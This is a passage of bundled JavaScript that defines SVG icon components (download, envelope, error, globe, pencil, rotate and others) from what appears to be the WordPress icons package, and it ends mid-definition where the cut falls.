2220 var comment_author_avatar_default = /* @__PURE__ */ (0, import_jsx_runtime22.jsx)(import_primitives21.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime22.jsx)(import_primitives21.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z" }) });
2221
2222 // packages/icons/build-module/library/download.mjs
2223 var import_primitives22 = __toESM(require_primitives(), 1);
2224 var import_jsx_runtime23 = __toESM(require_jsx_runtime(), 1);
2225 var download_default = /* @__PURE__ */ (0, import_jsx_runtime23.jsx)(import_primitives22.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime23.jsx)(import_primitives22.Path, { d: "M18 11.3l-1-1.1-4 4V3h-1.5v11.3L7 10.2l-1 1.1 6.2 5.8 5.8-5.8zm.5 3.7v3.5h-13V15H4v5h16v-5h-1.5z" }) });
2226
2227 // packages/icons/build-module/library/drafts.mjs
2228 var import_primitives23 = __toESM(require_primitives(), 1);
2229 var import_jsx_runtime24 = __toESM(require_jsx_runtime(), 1);
2230 var drafts_default = /* @__PURE__ */ (0, import_jsx_runtime24.jsx)(import_primitives23.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime24.jsx)(import_primitives23.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 0 4-4H8a4 4 0 0 0 4 4Z" }) });
2231
2232 // packages/icons/build-module/library/drawer-right.mjs
2233 var import_primitives24 = __toESM(require_primitives(), 1);
2234 var import_jsx_runtime25 = __toESM(require_jsx_runtime(), 1);
2235 var drawer_right_default = /* @__PURE__ */ (0, import_jsx_runtime25.jsx)(import_primitives24.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime25.jsx)(import_primitives24.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4 14.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h8v13zm4.5-.5c0 .3-.2.5-.5.5h-2.5v-13H18c.3 0 .5.2.5.5v12z" }) });
2236
2237 // packages/icons/build-module/library/envelope.mjs
2238 var import_primitives25 = __toESM(require_primitives(), 1);
2239 var import_jsx_runtime26 = __toESM(require_jsx_runtime(), 1);
2240 var envelope_default = /* @__PURE__ */ (0, import_jsx_runtime26.jsx)(import_primitives25.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime26.jsx)(import_primitives25.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M3 7c0-1.1.9-2 2-2h14a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V7Zm2-.5h14c.3 0 .5.2.5.5v1L12 13.5 4.5 7.9V7c0-.3.2-.5.5-.5Zm-.5 3.3V17c0 .3.2.5.5.5h14c.3 0 .5-.2.5-.5V9.8L12 15.4 4.5 9.8Z" }) });
2241
2242 // packages/icons/build-module/library/error.mjs
2243 var import_primitives26 = __toESM(require_primitives(), 1);
2244 var import_jsx_runtime27 = __toESM(require_jsx_runtime(), 1);
2245 var error_default = /* @__PURE__ */ (0, import_jsx_runtime27.jsx)(import_primitives26.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime27.jsx)(import_primitives26.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M12.218 5.377a.25.25 0 0 0-.436 0l-7.29 12.96a.25.25 0 0 0 .218.373h14.58a.25.25 0 0 0 .218-.372l-7.29-12.96Zm-1.743-.735c.669-1.19 2.381-1.19 3.05 0l7.29 12.96a1.75 1.75 0 0 1-1.525 2.608H4.71a1.75 1.75 0 0 1-1.525-2.608l7.29-12.96ZM12.75 17.46h-1.5v-1.5h1.5v1.5Zm-1.5-3h1.5v-5h-1.5v5Z" }) });
2246
2247 // packages/icons/build-module/library/file.mjs
2248 var import_primitives27 = __toESM(require_primitives(), 1);
2249 var import_jsx_runtime28 = __toESM(require_jsx_runtime(), 1);
2250 var file_default = /* @__PURE__ */ (0, import_jsx_runtime28.jsx)(import_primitives27.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime28.jsx)(import_primitives27.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M12.848 8a1 1 0 0 1-.914-.594l-.723-1.63a.5.5 0 0 0-.447-.276H5a.5.5 0 0 0-.5.5v11.5a.5.5 0 0 0 .5.5h14a.5.5 0 0 0 .5-.5v-9A.5.5 0 0 0 19 8h-6.152Zm.612-1.5a.5.5 0 0 1-.462-.31l-.445-1.084A2 2 0 0 0 10.763 4H5a2 2 0 0 0-2 2v11.5a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-9a2 2 0 0 0-2-2h-5.54Z" }) });
2251
2252 // packages/icons/build-module/library/format-list-bullets-rtl.mjs
2253 var import_primitives28 = __toESM(require_primitives(), 1);
2254 var import_jsx_runtime29 = __toESM(require_jsx_runtime(), 1);
2255 var format_list_bullets_rtl_default = /* @__PURE__ */ (0, import_jsx_runtime29.jsx)(import_primitives28.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime29.jsx)(import_primitives28.Path, { d: "M4 8.8h8.9V7.2H4v1.6zm0 7h8.9v-1.5H4v1.5zM18 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2z" }) });
2256
2257 // packages/icons/build-module/library/format-list-bullets.mjs
2258 var import_primitives29 = __toESM(require_primitives(), 1);
2259 var import_jsx_runtime30 = __toESM(require_jsx_runtime(), 1);
2260 var format_list_bullets_default = /* @__PURE__ */ (0, import_jsx_runtime30.jsx)(import_primitives29.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime30.jsx)(import_primitives29.Path, { d: "M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z" }) });
2261
2262 // packages/icons/build-module/library/funnel.mjs
2263 var import_primitives30 = __toESM(require_primitives(), 1);
2264 var import_jsx_runtime31 = __toESM(require_jsx_runtime(), 1);
2265 var funnel_default = /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(import_primitives30.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(import_primitives30.Path, { d: "M10 17.5H14V16H10V17.5ZM6 6V7.5H18V6H6ZM8 12.5H16V11H8V12.5Z" }) });
2266
2267 // packages/icons/build-module/library/globe.mjs
2268 var import_primitives31 = __toESM(require_primitives(), 1);
2269 var import_jsx_runtime32 = __toESM(require_jsx_runtime(), 1);
2270 var globe_default = /* @__PURE__ */ (0, import_jsx_runtime32.jsx)(import_primitives31.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime32.jsx)(import_primitives31.Path, { d: "M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8Zm6.5 8c0 .6 0 1.2-.2 1.8h-2.7c0-.6.2-1.1.2-1.8s0-1.2-.2-1.8h2.7c.2.6.2 1.1.2 1.8Zm-.9-3.2h-2.4c-.3-.9-.7-1.8-1.1-2.4-.1-.2-.2-.4-.3-.5 1.6.5 3 1.6 3.8 3ZM12.8 17c-.3.5-.6 1-.8 1.3-.2-.3-.5-.8-.8-1.3-.3-.5-.6-1.1-.8-1.7h3.3c-.2.6-.5 1.2-.8 1.7Zm-2.9-3.2c-.1-.6-.2-1.1-.2-1.8s0-1.2.2-1.8H14c.1.6.2 1.1.2 1.8s0 1.2-.2 1.8H9.9ZM11.2 7c.3-.5.6-1 .8-1.3.2.3.5.8.8 1.3.3.5.6 1.1.8 1.7h-3.3c.2-.6.5-1.2.8-1.7Zm-1-1.2c-.1.2-.2.3-.3.5-.4.7-.8 1.5-1.1 2.4H6.4c.8-1.4 2.2-2.5 3.8-3Zm-1.8 8H5.7c-.2-.6-.2-1.1-.2-1.8s0-1.2.2-1.8h2.7c0 .6-.2 1.1-.2 1.8s0 1.2.2 1.8Zm-2 1.4h2.4c.3.9.7 1.8 1.1 2.4.1.2.2.4.3.5-1.6-.5-3-1.6-3.8-3Zm7.4 3c.1-.2.2-.3.3-.5.4-.7.8-1.5 1.1-2.4h2.4c-.8 1.4-2.2 2.5-3.8 3Z" }) });
2271
2272 // packages/icons/build-module/library/help.mjs
2273 var import_primitives32 = __toESM(require_primitives(), 1);
2274 var import_jsx_runtime33 = __toESM(require_jsx_runtime(), 1);
2275 var help_default = /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(import_primitives32.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(import_primitives32.Path, { d: "M12 4a8 8 0 1 1 .001 16.001A8 8 0 0 1 12 4Zm0 1.5a6.5 6.5 0 1 0-.001 13.001A6.5 6.5 0 0 0 12 5.5Zm.75 11h-1.5V15h1.5v1.5Zm-.445-9.234a3 3 0 0 1 .445 5.89V14h-1.5v-1.25c0-.57.452-.958.917-1.01A1.5 1.5 0 0 0 12 8.75a1.5 1.5 0 0 0-1.5 1.5H9a3 3 0 0 1 3.305-2.984Z" }) });
2276
2277 // packages/icons/build-module/library/home.mjs
2278 var import_primitives33 = __toESM(require_primitives(), 1);
2279 var import_jsx_runtime34 = __toESM(require_jsx_runtime(), 1);
2280 var home_default = /* @__PURE__ */ (0, import_jsx_runtime34.jsx)(import_primitives33.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime34.jsx)(import_primitives33.Path, { d: "M12 4L4 7.9V20h16V7.9L12 4zm6.5 14.5H14V13h-4v5.5H5.5V8.8L12 5.7l6.5 3.1v9.7z" }) });
2281
2282 // packages/icons/build-module/library/layout.mjs
2283 var import_primitives34 = __toESM(require_primitives(), 1);
2284 var import_jsx_runtime35 = __toESM(require_jsx_runtime(), 1);
2285 var layout_default = /* @__PURE__ */ (0, import_jsx_runtime35.jsx)(import_primitives34.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime35.jsx)(import_primitives34.Path, { d: "M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z" }) });
2286
2287 // packages/icons/build-module/library/link.mjs
2288 var import_primitives35 = __toESM(require_primitives(), 1);
2289 var import_jsx_runtime36 = __toESM(require_jsx_runtime(), 1);
2290 var link_default = /* @__PURE__ */ (0, import_jsx_runtime36.jsx)(import_primitives35.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime36.jsx)(import_primitives35.Path, { d: "M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z" }) });
2291
2292 // packages/icons/build-module/library/list.mjs
2293 var import_primitives36 = __toESM(require_primitives(), 1);
2294 var import_jsx_runtime37 = __toESM(require_jsx_runtime(), 1);
2295 var list_default = /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(import_primitives36.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(import_primitives36.Path, { d: "M4 4v1.5h16V4H4zm8 8.5h8V11h-8v1.5zM4 20h16v-1.5H4V20zm4-8c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2z" }) });
2296
2297 // packages/icons/build-module/library/media.mjs
2298 var import_primitives37 = __toESM(require_primitives(), 1);
2299 var import_jsx_runtime38 = __toESM(require_jsx_runtime(), 1);
2300 var media_default = /* @__PURE__ */ (0, import_jsx_runtime38.jsxs)(import_primitives37.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
2301 /* @__PURE__ */ (0, import_jsx_runtime38.jsx)(import_primitives37.Path, { d: "m7 6.5 4 2.5-4 2.5z" }),
2302 /* @__PURE__ */ (0, import_jsx_runtime38.jsx)(import_primitives37.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "m5 3c-1.10457 0-2 .89543-2 2v14c0 1.1046.89543 2 2 2h14c1.1046 0 2-.8954 2-2v-14c0-1.10457-.8954-2-2-2zm14 1.5h-14c-.27614 0-.5.22386-.5.5v10.7072l3.62953-2.6465c.25108-.1831.58905-.1924.84981-.0234l2.92666 1.8969 3.5712-3.4719c.2911-.2831.7545-.2831 1.0456 0l2.9772 2.8945v-9.3568c0-.27614-.2239-.5-.5-.5zm-14.5 14.5v-1.4364l4.09643-2.987 2.99567 1.9417c.2936.1903.6798.1523.9307-.0917l3.4772-3.3806 3.4772 3.3806.0228-.0234v2.5968c0 .2761-.2239.5-.5.5h-14c-.27614 0-.5-.2239-.5-.5z" })
2303 ] });
2304
2305 // packages/icons/build-module/library/mobile.mjs
2306 var import_primitives38 = __toESM(require_primitives(), 1);
2307 var import_jsx_runtime39 = __toESM(require_jsx_runtime(), 1);
2308 var mobile_default = /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(import_primitives38.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(import_primitives38.Path, { d: "M15 4H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H9c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h6c.3 0 .5.2.5.5v12zm-4.5-.5h2V16h-2v1.5z" }) });
2309
2310 // packages/icons/build-module/library/more-vertical.mjs
2311 var import_primitives39 = __toESM(require_primitives(), 1);
2312 var import_jsx_runtime40 = __toESM(require_jsx_runtime(), 1);
2313 var more_vertical_default = /* @__PURE__ */ (0, import_jsx_runtime40.jsx)(import_primitives39.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime40.jsx)(import_primitives39.Path, { d: "M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z" }) });
2314
2315 // packages/icons/build-module/library/navigation.mjs
2316 var import_primitives40 = __toESM(require_primitives(), 1);
2317 var import_jsx_runtime41 = __toESM(require_jsx_runtime(), 1);
2318 var navigation_default = /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(import_primitives40.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(import_primitives40.Path, { d: "M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z" }) });
2319
2320 // packages/icons/build-module/library/next.mjs
2321 var import_primitives41 = __toESM(require_primitives(), 1);
2322 var import_jsx_runtime42 = __toESM(require_jsx_runtime(), 1);
2323 var next_default = /* @__PURE__ */ (0, import_jsx_runtime42.jsx)(import_primitives41.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime42.jsx)(import_primitives41.Path, { d: "M6.6 6L5.4 7l4.5 5-4.5 5 1.1 1 5.5-6-5.4-6zm6 0l-1.1 1 4.5 5-4.5 5 1.1 1 5.5-6-5.5-6z" }) });
2324
2325 // packages/icons/build-module/library/not-allowed.mjs
2326 var import_primitives42 = __toESM(require_primitives(), 1);
2327 var import_jsx_runtime43 = __toESM(require_jsx_runtime(), 1);
2328 var not_allowed_default = /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(import_primitives42.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(import_primitives42.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M12 18.5A6.5 6.5 0 0 1 6.93 7.931l9.139 9.138A6.473 6.473 0 0 1 12 18.5Zm5.123-2.498a6.5 6.5 0 0 0-9.124-9.124l9.124 9.124ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Z" }) });
2329
2330 // packages/icons/build-module/library/not-found.mjs
2331 var import_primitives43 = __toESM(require_primitives(), 1);
2332 var import_jsx_runtime44 = __toESM(require_jsx_runtime(), 1);
2333 var not_found_default = /* @__PURE__ */ (0, import_jsx_runtime44.jsx)(import_primitives43.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime44.jsx)(import_primitives43.Path, { d: "M19 5c1.1 0 2 .9 2 2v10c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V7c0-1.1.9-2 2-2zM5 6.5c-.3 0-.5.2-.5.5v10c0 .3.2.5.5.5h14c.3 0 .5-.2.5-.5V7c0-.3-.2-.5-.5-.5zm7.01 2.75q.711 0 1.24.364.533.364.824 1.012.296.645.296 1.488 0 .887-.296 1.556-.292.664-.824 1.036-.528.368-1.24.368-.708 0-1.24-.368-.527-.372-.824-1.036-.296-.668-.296-1.556 0-.848.296-1.492.296-.648.824-1.008a2.14 2.14 0 0 1 1.24-.364m-3.484 3.6h.72v.832h-.72v1.28h-.984v-1.28H4.75l3.08-4.32h.696zm9.522 0h.72v.832h-.72v1.28h-.983v-1.28h-2.793l3.08-4.32h.696zm-6.038-2.696q-.568 0-.952.48-.384.475-.384 1.48 0 .716.176 1.168.176.45.476.66.304.212.684.212t.68-.208q.304-.207.48-.656.176-.451.176-1.176 0-.996-.384-1.476-.38-.484-.952-.484M6.33 12.85h1.212v-1.722zm9.523 0h1.211v-1.722z" }) });
2334
2335 // packages/icons/build-module/library/page.mjs
2336 var import_primitives44 = __toESM(require_primitives(), 1);
2337 var import_jsx_runtime45 = __toESM(require_jsx_runtime(), 1);
2338 var page_default = /* @__PURE__ */ (0, import_jsx_runtime45.jsxs)(import_primitives44.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
2339 /* @__PURE__ */ (0, import_jsx_runtime45.jsx)(import_primitives44.Path, { d: "M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z" }),
2340 /* @__PURE__ */ (0, import_jsx_runtime45.jsx)(import_primitives44.Path, { d: "M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z" })
2341 ] });
2342
2343 // packages/icons/build-module/library/pages.mjs
2344 var import_primitives45 = __toESM(require_primitives(), 1);
2345 var import_jsx_runtime46 = __toESM(require_jsx_runtime(), 1);
2346 var pages_default = /* @__PURE__ */ (0, import_jsx_runtime46.jsxs)(import_primitives45.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
2347 /* @__PURE__ */ (0, import_jsx_runtime46.jsx)(import_primitives45.Path, { d: "M14.5 5.5h-7V7h7V5.5ZM7.5 9h7v1.5h-7V9Zm7 3.5h-7V14h7v-1.5Z" }),
2348 /* @__PURE__ */ (0, import_jsx_runtime46.jsx)(import_primitives45.Path, { d: "M16 2H6a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2ZM6 3.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H6a.5.5 0 0 1-.5-.5V4a.5.5 0 0 1 .5-.5Z" }),
2349 /* @__PURE__ */ (0, import_jsx_runtime46.jsx)(import_primitives45.Path, { d: "M20 8v11c0 .69-.31 1-.999 1H6v1.5h13.001c1.52 0 2.499-.982 2.499-2.5V8H20Z" })
2350 ] });
2351
2352 // packages/icons/build-module/library/pencil.mjs
2353 var import_primitives46 = __toESM(require_primitives(), 1);
2354 var import_jsx_runtime47 = __toESM(require_jsx_runtime(), 1);
2355 var pencil_default = /* @__PURE__ */ (0, import_jsx_runtime47.jsx)(import_primitives46.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime47.jsx)(import_primitives46.Path, { d: "m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z" }) });
2356
2357 // packages/icons/build-module/library/pending.mjs
2358 var import_primitives47 = __toESM(require_primitives(), 1);
2359 var import_jsx_runtime48 = __toESM(require_jsx_runtime(), 1);
2360 var pending_default = /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(import_primitives47.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(import_primitives47.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 1-4-4h4V8a4 4 0 0 1 0 8Z" }) });
2361
2362 // packages/icons/build-module/library/pin.mjs
2363 var import_primitives48 = __toESM(require_primitives(), 1);
2364 var import_jsx_runtime49 = __toESM(require_jsx_runtime(), 1);
2365 var pin_default = /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(import_primitives48.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(import_primitives48.Path, { d: "m21.5 9.1-6.6-6.6-4.2 5.6c-1.2-.1-2.4.1-3.6.7-.1 0-.1.1-.2.1-.5.3-.9.6-1.2.9l3.7 3.7-5.7 5.7v1.1h1.1l5.7-5.7 3.7 3.7c.4-.4.7-.8.9-1.2.1-.1.1-.2.2-.3.6-1.1.8-2.4.6-3.6l5.6-4.1zm-7.3 3.5.1.9c.1.9 0 1.8-.4 2.6l-6-6c.8-.4 1.7-.5 2.6-.4l.9.1L15 4.9 19.1 9l-4.9 3.6z" }) });
2366
2367 // packages/icons/build-module/library/plugins.mjs
2368 var import_primitives49 = __toESM(require_primitives(), 1);
2369 var import_jsx_runtime50 = __toESM(require_jsx_runtime(), 1);
2370 var plugins_default = /* @__PURE__ */ (0, import_jsx_runtime50.jsx)(import_primitives49.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime50.jsx)(import_primitives49.Path, { d: "M10.5 4v4h3V4H15v4h1.5a1 1 0 011 1v4l-3 4v2a1 1 0 01-1 1h-3a1 1 0 01-1-1v-2l-3-4V9a1 1 0 011-1H9V4h1.5zm.5 12.5v2h2v-2l3-4v-3H8v3l3 4z" }) });
2371
2372 // packages/icons/build-module/library/post.mjs
2373 var import_primitives50 = __toESM(require_primitives(), 1);
2374 var import_jsx_runtime51 = __toESM(require_jsx_runtime(), 1);
2375 var post_default = /* @__PURE__ */ (0, import_jsx_runtime51.jsx)(import_primitives50.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime51.jsx)(import_primitives50.Path, { d: "m7.3 9.7 1.4 1.4c.2-.2.3-.3.4-.5 0 0 0-.1.1-.1.3-.5.4-1.1.3-1.6L12 7 9 4 7.2 6.5c-.6-.1-1.1 0-1.6.3 0 0-.1 0-.1.1-.3.1-.4.2-.6.4l1.4 1.4L4 11v1h1l2.3-2.3zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z" }) });
2376
2377 // packages/icons/build-module/library/previous.mjs
2378 var import_primitives51 = __toESM(require_primitives(), 1);
2379 var import_jsx_runtime52 = __toESM(require_jsx_runtime(), 1);
2380 var previous_default = /* @__PURE__ */ (0, import_jsx_runtime52.jsx)(import_primitives51.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime52.jsx)(import_primitives51.Path, { d: "M11.6 7l-1.1-1L5 12l5.5 6 1.1-1L7 12l4.6-5zm6 0l-1.1-1-5.5 6 5.5 6 1.1-1-4.6-5 4.6-5z" }) });
2381
2382 // packages/icons/build-module/library/published.mjs
2383 var import_primitives52 = __toESM(require_primitives(), 1);
2384 var import_jsx_runtime53 = __toESM(require_jsx_runtime(), 1);
2385 var published_default = /* @__PURE__ */ (0, import_jsx_runtime53.jsx)(import_primitives52.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime53.jsx)(import_primitives52.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm11.53-1.47-1.06-1.06L11 12.94l-1.47-1.47-1.06 1.06L11 15.06l4.53-4.53Z" }) });
2386
2387 // packages/icons/build-module/library/rotate-left.mjs
2388 var import_primitives53 = __toESM(require_primitives(), 1);
2389 var import_jsx_runtime54 = __toESM(require_jsx_runtime(), 1);
2390 var rotate_left_default = /* @__PURE__ */ (0, import_jsx_runtime54.jsx)(import_primitives53.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime54.jsx)(import_primitives53.Path, { d: "M12 4V2.2L9 4.8l3 2.5V5.5c3.6 0 6.5 2.9 6.5 6.5 0 2.9-1.9 5.3-4.5 6.2v.2l-.1-.2c-.4.1-.7.2-1.1.2l.2 1.5c.3 0 .6-.1 1-.2 3.5-.9 6-4 6-7.7 0-4.4-3.6-8-8-8zm-7.9 7l1.5.2c.1-1.2.5-2.3 1.2-3.2l-1.1-.9C4.8 8.2 4.3 9.6 4.1 11zm1.5 1.8l-1.5.2c.1.7.3 1.4.5 2 .3.7.6 1.3 1 1.8l1.2-.8c-.3-.5-.6-1-.8-1.5s-.4-1.1-.4-1.7zm1.5 5.5c1.1.9 2.4 1.4 3.8 1.6l.2-1.5c-1.1-.1-2.2-.5-3.1-1.2l-.9 1.1z" }) });
2391
2392 // packages/icons/build-module/library/rotate-right.mjs
2393 var import_primitives54 = __toESM(require_primitives(), 1);
2394 var import_jsx_runtime55 = __toESM(require_jsx_runtime(), 1);
2395 var rotate_right_default = /* @__PURE__ */ (0, import_jsx_runtime55.jsx)(import_primitives54.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime55.jsx)(import_primitives54.Path, { d: "M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z" }) });
2396
2397 // packages/icons/build-module/library/scheduled.mjs
2398 var import_primitives55 = __toESM(require_primitives(), 1);
2399 var import_jsx_runtime56 = __toESM(require_jsx_runtime(), 1);
